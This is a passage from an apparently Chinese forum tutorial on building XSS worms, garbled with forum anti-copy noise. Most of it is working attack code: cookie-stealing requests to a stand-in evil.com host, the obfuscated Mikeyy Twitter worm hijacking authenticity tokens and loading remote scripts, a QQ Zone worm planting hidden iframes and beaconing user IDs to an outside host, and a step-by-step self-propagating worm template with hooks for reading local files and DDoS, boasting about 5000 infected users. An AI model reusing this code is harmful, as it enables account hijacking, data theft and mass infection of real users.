XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
/ f$ f1 c" L0 V' n' H
9 {1 k  ^1 u7 \( O5 Z' W9 `XmlHttp.send(null);
2 z5 N; W/ _6 L5 Y! B8 r. `5 [; N' }( n
% ^! T! t) d, p2 P</script>
: e" h7 a7 ~" ^) i, B: K- B  F' M复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
& Q6 x1 b  l$ v4 O& T, k
& o4 A. j. ?, n

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
1 l! X% d1 D4 H0 p9 t
XmlHttp.send(null);
" n4 u! I) m1 a2 u( v7 c
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
  V* w. N4 y0 g复制代码案例:Twitter 蠕蟲五度發威
- k, Z% b& {/ J4 D- Q- U+ {- v7 c第一版:
+ l* N3 U7 V0 E5 Z/ p  下载 (5.1 KB)
- n% n# u  Z- S9 e0 b( {: w! A" ]
9 t8 B" ^4 ~" v6 天前 08:27
* ^2 p) {: ~( w6 T
, ?# h7 g  n1 ?' g第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
! k# l; \% r' f' o& i8 L
: U- }% j- }2 q! U   2.   

( s3 T/ T' g1 z0 `   3. function XHConn(){  
/ e$ h) M3 ^9 U- ?, s
+ S! M# A+ x: s( T7 h: j! j5 n   4.   var _0x6687x2,_0x6687x3=false;  
. u+ k3 v5 X# }& @
" [" q, ?8 z, g3 |% c" V3 w2 Y   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

( A" H) N( O9 K* K$ n   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
5 O0 r9 P. A" [1 T
$ a7 @& i& T/ X2 Q   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
# g' ?" b; s% a" U$ c复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  
: i' ?$ d- F& K; H
   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
( K+ |7 x" n' w- J* r# e% S
   6.   var authtoken=authreg.exec(content);  

& p! ~' s' b  o% V9 T   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
9 E: u4 {7 t+ p  i# s% B
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

% H; R1 q2 f3 E% z& N  F' |  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
: ?! G* ?* h  m" t# F/ \
! p7 I/ y# c1 M) Q; ?; ^. o  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
4 K7 X# J" s% Q, f3 Z# w; Y
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

4 s2 z, \+ l$ @  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

$ f. {+ M2 f& z  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
! m1 X9 a- P, B9 c6 V, p4 G
2 q2 R. T1 ~) d; e$ e7 d  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  {5 B# A' s. ?' _, F  U  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

4 J) X( i/ k8 v% ^) a7 F9 Y3 @& R: h  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  
6 q' h! r1 Q9 `  n2 g1 D7 P( j
  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
1 Q8 J- B( E6 t! o- I
  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

4 A+ N3 I7 m& ~0 P: S& J7 o& K  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

( y! }/ o2 }5 w) w" q4 A  24.     

5 v* @: p1 ~  A9 {- b" Y' {  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
( y- Z2 }! M1 F6 u( p3 L- l
% ~+ U2 s! C/ m6 y  `' Z" h8 J6 i  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

. b# H2 M) D1 h! \5 E  27.     

  28.   var ajaxConn= new XHConn();  
2 \# a5 R; K+ y$ J
1 V/ E+ t6 B1 j" h" ?. J  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
+ V$ k8 b* N7 O) a' _
$ X5 r7 ~& l* t( D# r  30.   var _0xf81bx1c="Mikeyy";  
/ A2 e0 J+ t4 H+ C
  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

+ v2 s; f  g: h9 ~, B  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

$ s# c  P; L" r0 V  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
4 X. S" M' V+ y1 b; p
6 _3 z# b' \4 }5 {  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
0 V) r& u; P; D! Y' W  _8 }8 s# N
  38.     
3 z9 v3 Z0 j4 T6 t5 ^5 e( o7 d/ i4 u
  39. } ;  
+ T# O) l  w. A$ P/ o6 ?
. P+ N) Z) r- e1 N; K. p  40. setTimeout(wait(),5250);  
3 k9 X, W- ^  ^8 G% a复制代码QQ空间XSSfunction killErrors() {return true;}

# ]5 L0 T! _  ^window.onerror=killErrors;

: F: R) `/ F0 i9 G/ Y2 D% k' d/ g

var shendu;shendu=4;
7 j$ p) q% o) B8 b& w
  \' P1 f: l* y//---------------global---v------------------------------------------
/ G) ?7 w8 n9 i
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？
/ Q. Z$ G; v3 Z
( f: S+ z! a: t1 N0 v; x  |var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

. K# h/ ]' _$ o" ?1 ^var myblogurl=new Array();var myblogid=new Array();

" y( K/ k. @# }. p$ G        var gurl=document.location.href;
$ C& J8 s- `( Q; O9 V& T+ P
$ c1 B1 ], F9 V) c  k4 h, d        var gurle=gurl.indexOf("com/");
, Q  o9 E1 O) }, A* @1 C7 ~9 |* p. k
        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;
( \, r  h! Z; q  {
           var cookieS=visitorID.indexOf("g_iLoginUin = ");

8 K( r" s7 M2 t7 t7 [% a& D6 N2 n        visitorID=visitorID.substring(cookieS+14);

        cookieS=visitorID.indexOf(",");

* U- J* Y. J5 d; E        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

" P8 b' X7 G3 m! \; ~        DOshuamy();
0 j* t) p& \+ v
, y' P% I( E; n

//挂马
( s9 W' n( B) H7 @1 e
, n4 ~6 g" h& }function DOshuamy(){
5 B6 a/ G7 c1 p( I
var ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

}
% X; m' V5 X6 P6 y7 ~/ L0 K


//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

function get_my_blog(visitorID){

% R; j- A1 U6 q   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
2 E) i$ _( r8 ~' U  `, ^8 N( |! S5 `5 m
   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象
, Z4 X* A0 ?: n$ ^6 j& P- B
+ d, V( F9 J1 e   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
: O& Z* e& L% [( ], n- S
/ c1 D. y6 i6 y1 T     xhr.send();guest=xhr.responseText;

     get_my_blogurl(guest);    //执行这个函数

' W3 V% n- @% i1 \. O2 G    }

! z: F  O5 p0 w  P, x9 I1 @7 p}



6 e/ d6 a$ r+ Q& `  g0 m//这里似乎是判断没有登录的
" m9 ^& H% S- R2 _' \/ ]' G
; g) U' c1 N, M6 ]function get_my_blogurl(guest){

2 F# B  x: d$ a2 H' n! p7 p  var mybloglist=guest;
- A- H. m! _- Z7 A0 _- e& q
  var myurls;var blogids;var blogide;
2 _& S4 f0 ~1 h/ }
  for(i=0;i<shendu;i++){

     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
* s& g) b& g0 c! c3 j3 i$ f' I# P; r
8 h9 n" b! N$ H; c6 z+ P     if(myurls!=-1){    //找到了就执行下面的
. Z7 Q  y/ u' M9 h5 K/ V
         mybloglist=mybloglist.substring(myurls+11);

. z. J6 N" e$ k% T6 l         myurls=mybloglist.indexOf(')');
0 z* G, X0 Q7 e. a( Y% B* Y
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
  j" _7 b) }: R' d# r0 k
}

& k8 t' F& j# h7 H. u0 lget_my_testself();    //执行这个函数
& R" G" @" ~4 |" k$ ^6 j$ n
2 Q( A$ V3 T7 ?% @0 G4 Q, c; ~}

; g" h, _2 t; U, f4 P5 W

//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
# Y# r8 ?( W* e+ N5 o" u
" a! x8 i+ @- \( A& y; Q) n      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

3 r1 o4 m( q9 t3 m, c      if(xhr2){        //如果成功
! @3 q) I. i+ Q5 t
              xhr2.open("GET",url,false);     //打开上面的那个url

, P) @# \- D' o. }  G              xhr2.send();
$ U/ P8 l/ ~( d  r9 {
% b+ E' @) d# b; \              guest2=xhr2.responseText;
* c, e3 e3 @  R; F. X5 @& D" R
; D, ^+ @; z9 h& p* H( A: Z              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
2 X6 q' Z. S7 N' A& R
$ p3 b7 u/ Y4 s5 y0 M4 q- b              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
7 B6 @' R4 m- u9 R* \
% x3 m# v/ V, }9 t+ a  @2 x0 z9 m5 a* c                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;
# H' j/ N8 ?- h% Z: C6 A
* u' m# ?( L& X/ k; J5 a               }

) z2 y$ \# ~" R0 C) F! j1 m6 ^: M6 N              if(mycheckit=="-1"){
! h- ?) K' j! q' m1 q0 M: w
                targetblogurlid=myblogid;

                add_js(visitorID,targetblogurlid,gurl);    //执行它

+ _) b$ l1 C% t, n                break;

               }

        }      

6 A' B+ B7 G2 ~- C, p}
6 r" L) f  J) B) a7 l; D
) v* ]* c. V$ D0 v' c}

8 {6 W: V4 R* G! Y/ \% x6 k: }+ M

//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){

    var XMLhttpObject=null;  
8 s- @! e) o5 \! D. m
    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
6 [" n; l+ G  `) K  g( p
2 z. M6 k  n7 }8 w& R6 Y    else  
7 R( D9 F! p5 t! s8 [  A
      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
# z9 J  m7 y# i- Z9 \
/ @' q) L  H( \( o        for(var i=0;i<MSXML.length;i++)  
4 ^' s. f. W: u: I
/ u" T; ?1 ^6 h6 n$ S+ H        {  
! e* t, ?; P! I' t* `! w
1 n0 o7 D. p( Z/ Z! e  g( P9 {            try  
) W8 Z! z  r* ^# s0 T9 \9 T/ D
1 M: Q7 p6 d; D$ i. ?+ K            {  
0 w1 ?" e, a; M( }9 ]% y! w# X  _# A
/ J  u, i9 d" \% W) E# ^& o2 w                XMLhttpObject=new ActiveXObject(MSXML);  

/ z" k' B  {$ I* j" G8 n                break;  

% S+ J. A3 L1 t$ k) L# X  O            }  
0 m3 Q" g2 o3 I
$ A, }2 I8 a* |4 y/ g$ H, g# y. t            catch (ex) {  

7 y1 ^3 |* k5 Y8 F2 e* L4 a7 l! S! u+ Q            }  
4 w2 X# R% M# c0 V: K* `' ^2 s" g$ n
         }  
2 x  \6 o* z8 Z1 {6 s9 [
      }
6 R0 X# |; }" K
return XMLhttpObject;

}  
& {. \" x9 T- R, D& u& ^
9 m0 p) b5 G# i, J
8 v! _, H  I6 U. v& q7 U
//这里就是感染部分了

( Q1 a4 a, U- c7 ], nfunction add_js(visitorID,targetblogurlid,gurl){
% E: x: N  j$ z1 `! Y6 V5 l
var s2=document.createElement('script');

: A7 ~2 D' a" k2 X$ _) |( u2 ?s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
" u3 W" d- g& S& |! U% K5 y; q9 g
7 l+ t) J, c& G8 x  Y0 r  ?9 P. kdocument.getElementsByTagName('head').item(0).appendChild(s2);
& ?4 Y, E/ e0 R1 I
: f. j$ |0 a+ G0 O$ x/ p* j}


5 i0 D# ]3 b8 t
function add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
# i. b; q) o6 I  B& F7 g/ _
7 [9 {" T. G' ?! ]# Ys2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
( M1 ~# o* Z% Z* T' b2 e5 N
8 L# e% ]/ s$ N6 A, x4 Vdocument.getElementsByTagName('head').item(0).appendChild(s2);

5 G* x% d; J3 d( {}
! J& u6 X, f. S: J& i7 w复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% d: w) k8 q% N8 v1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
, e! q/ c1 f2 x6 _. R
1 Y  Z5 V* y) K+ x2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
( P$ }7 H$ x. P4 U) S6 x
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

% P  A- ~9 B- L" X
1 k& F7 n. z4 d' ]4 U下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {

& Z# I  R4 ~+ `6 C* P: L3 Lrequest = new XMLHttpRequest();

% A& M2 o" S5 [/ _# ^; p$ ~if(request.overrideMimeType) {

request.overrideMimeType('text/xml');
; a; T2 U  }9 H
; k5 W/ _; w+ [: D& n}
/ m" h) o2 `5 T0 u) B
/ Y0 _3 M7 X4 t- L} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
+ C8 U6 ~. o" ^8 m2 ^3 {
for(var i=0; i<versions.length; i++) {

try {

1 _' Z/ Y5 G* o% x/ I% E- {4 Arequest = new ActiveXObject(versions);

$ ~" Q; a' R8 C3 ?2 Y4 W4 [4 T+ f& s( C} catch(e) {}

}
8 O2 v1 l  _2 b, O% f" k
}

xmlHttpReq=request;
+ p- U. b0 W* D- s' `& U% X复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
, c6 ~- d7 I) a, l
        var Browser_Name=navigator.appName;
( t8 t" o, n' a/ f' u2 I
        var Browser_Version=parseFloat(navigator.appVersion);
2 A& _. o- G' z$ e  S% b6 O
        var Browser_Agent=navigator.userAgent;
' `9 L! L; |; f# R( o$ L0 [
        

$ Y! X. }5 M" ]; z        var Actual_Version,Actual_Name;

2 U$ v" O. ]$ u2 i& a        
  ^2 M4 m- F6 Q2 x& h9 ^. f! N/ o2 Q5 T
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
# ?! H8 A% q" U( h+ @3 n
# T# E& I0 L. z% J/ A        var is_NN=(Browser_Name=="Netscape");

        var is_Ch=(Browser_Name=="Chrome");

7 B8 }9 {. w/ l7 I' i        

. y* g$ B; x. S, @        if(is_NN){

            if(Browser_Version>=5.0){
( H2 n- O- E: a# J, A+ c. J8 s
                var Split_Sign=Browser_Agent.lastIndexOf("/");

: v# n+ X# ?# C5 X% f- ^                var Version=Browser_Agent.indexOf(" ",Split_Sign);
4 S; L% Z$ F: E4 a% I! k
2 b- L( J3 q& f3 G- V                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

3 `8 v& h/ `+ z

) k1 v$ _6 @  K                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

& p  J: y4 O, o3 M! m2 Q1 {                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }

            else{

                Actual_Version=Browser_Version;
) v" l7 E4 Z% R% H- v7 ?
+ x( w2 I1 |5 ]2 X) ?, {                Actual_Name=Browser_Name;

            }
7 x8 B) v0 L/ ?) x0 W
0 S7 b9 N" S8 y" J" P8 n3 U        }
8 ]6 i; p! l" f+ K  \5 q( m
6 B& z7 q2 g3 L* ?% S& N% Y        else if(is_IE){
/ A6 O) ]" F: l: G7 @- r( V4 T
            var Version_Start=Browser_Agent.indexOf("MSIE");

8 U+ @  s3 `& t2 H( ~' U! R1 i            var Version_End=Browser_Agent.indexOf(";",Version_Start);
2 o& M& s2 Y+ ~- |- B
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
9 S- w* ?/ U' ]! D
            Actual_Name=Browser_Name;

% V# u7 d' ~5 q/ r1 H) ]" O% j- A            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

1 |! f; }% S+ G; W                Actual_Name+="(Maxthon)";
1 M6 L$ d$ ~+ o0 @! o7 p5 E
; ?' F. v$ |2 Q; `. {2 i            }
1 L; r3 `1 o% }. n  Q/ x
% B, S) p$ C3 d- Z% F% h' g% [. w            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";
* h- L# L$ F3 I0 A  C' G$ V& M
                var tempstart=Browser_Agent.indexOf("Opera");
# m+ z) ~2 [" @; U0 U
                var tempend=Browser_Agent.length;
* E8 G4 B0 V, U) c" q2 u0 K
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
5 Q# M: ^: K, K
3 ?: }% K4 E7 E' f; b            }

9 S* W5 b. q4 T' h6 O% t7 @        }

+ U! ]/ H( I. h8 K7 |        else if(is_Ch){

            var Version_Start=Browser_Agent.indexOf("Chrome");

% j$ Q' w4 ^; s4 u* X            var Version_End=Browser_Agent.indexOf(";",Version_Start);

0 W; w) G3 W! E: J& [            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

$ r, i3 E$ H" ~1 r2 R8 m) |            Actual_Name=Browser_Name;
/ W3 \, H2 @6 \$ @& f; a9 `
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){
7 `# T0 J: L& ]$ L
                Actual_Name+="(Maxthon)";

+ @" ?) T' H" V3 E  D            }
- E' ?7 H1 w5 q+ [1 x
            else if(Browser_Agent.indexOf("Opera")!=-1){
- f8 t: e3 V7 u' Y
                Actual_Name="Opera";

" O* c0 U- n) V, {                var tempstart=Browser_Agent.indexOf("Opera");
4 K7 H% r2 Q4 M% t, V1 m
                var tempend=Browser_Agent.length;

+ s& W) R* l: A/ c, J# M                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
- |' z( b9 _- L9 A+ O% _9 M% j+ D
            }
$ c: F+ W# u$ I0 P6 Y
        }
4 p2 F1 A* @/ F
        else{
0 c# @( u8 n* C# W9 K% }( G
# e$ O" Q& `/ ?, m. u: q1 t8 O            Actual_Name="Unknown Navigator"
7 Y5 Z, [( |% |5 i2 Z( f3 N$ u
6 v: ^5 P  _. B  @; n; Z3 J  I/ A            Actual_Version="Unknown Version"
$ [3 f6 f! Z& d" Z& E+ L  o% w! f
" ?$ z+ n; Q! a$ F, [! [        }

/ c$ B, _7 u4 x5 ?) Y* f

        navigator.Actual_Name=Actual_Name;

4 f& F0 S$ G4 ?! ?8 ?        navigator.Actual_Version=Actual_Version;
: O. i  z2 E8 l' a+ q
        
5 h  _% Z" X* E
        this.Name=Actual_Name;
2 Y) q' q, g- N# z. p$ S
6 v2 a9 j, m( R        this.Version=Actual_Version;
: o: p: O, g/ }( p' B, e. Y% j
3 G  j# i( `9 N9 r    }

    browserinfo();
3 C7 M5 ?( ?% Z$ H+ f, \( y. L9 r
" r1 L- l" K7 Q- b    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
/ ~; ?% }8 u) R2 L  ^  B# Q; A
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
* @# C: P" A9 S( z# R. Y
2 Y0 a. o6 r# |# T+ L# t! K/ S" U    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
  F8 Q( k* N0 ]( \9 e1 }! S+ }复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
  D+ F; D/ _  {  l
xmlHttpReq.send(null);

- S9 ]- J7 a1 N' ovar resource = xmlHttpReq.responseText;

/ }3 x$ T. O6 Avar id=0;var result;
; B+ {( C# t* @- v% @$ d
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
& t1 [' Y8 p& u  X, z" v
while ((result = patt.exec(resource)) != null)  {
+ N+ r9 w0 w6 y0 c
id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
. I5 @, |1 r- N$ u# Q7 l! |
" S4 Q$ \5 S7 ]0 Y; Ovar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 [& k9 M3 Z% z; B4 M4 X6 q
+ y, T0 [; r' m. q/ {7 C2 m' Xvar post="wd="+wd;
( d" A/ V* `- Y: k; t( j, Z
) Z& S% }0 A7 Y' R" L' T# \0 ]( `xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
) O% A. r5 W; @1 @4 N& k( h
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
( I0 G% V/ m% Z! i2 G
9 {9 d+ Y% \" c1 s+ G1 h& t+ Q, RxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

, x* N' z- Z3 ~xmlHttpReq.send(post);

( a0 Z) N" X. B$ c% A/ I}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

5 ]7 }& w+ C3 {var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

1 v- b  b8 b4 h. [var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
; P3 |7 E9 R; F
var post="wd="+wd;
* L( Q+ Y! _! g5 T' J
5 a* e! N, o6 E  TxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

, M+ ~1 l0 e4 N6 z! g/ p; l( MxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
8 v8 k" j  K* i: i3 @1 m0 Q+ |
xmlHttpReq.setRequestHeader("content-length",post.length);
  t! L9 Z4 [4 w( v5 g8 E- [
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.
1 {7 r, r, J, e& V
}
1 n' L3 J) }5 B3 s复制代码-----------------------------------------------------总结-------------------------------------------------------------------
7 k6 u4 e$ V$ H" S* R

$ m1 g" P4 Z! V
% @% d" g; g- g8 O, ?本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
- ^( l( Z! q! B6 m6 |9 J9 z# Y蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
8 q6 F; x% ^; z, l% Z, |
, G) L4 r, ~6 i2 m






. x8 U$ T6 Q8 v6 X, u! L; m9 R本文引用文档资料:
* N- l1 `1 m; C0 F! ~6 i- i
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
* R3 J$ B" `& a6 YOther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
5 b- r1 H8 l2 R3 k" z2 o+ @http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/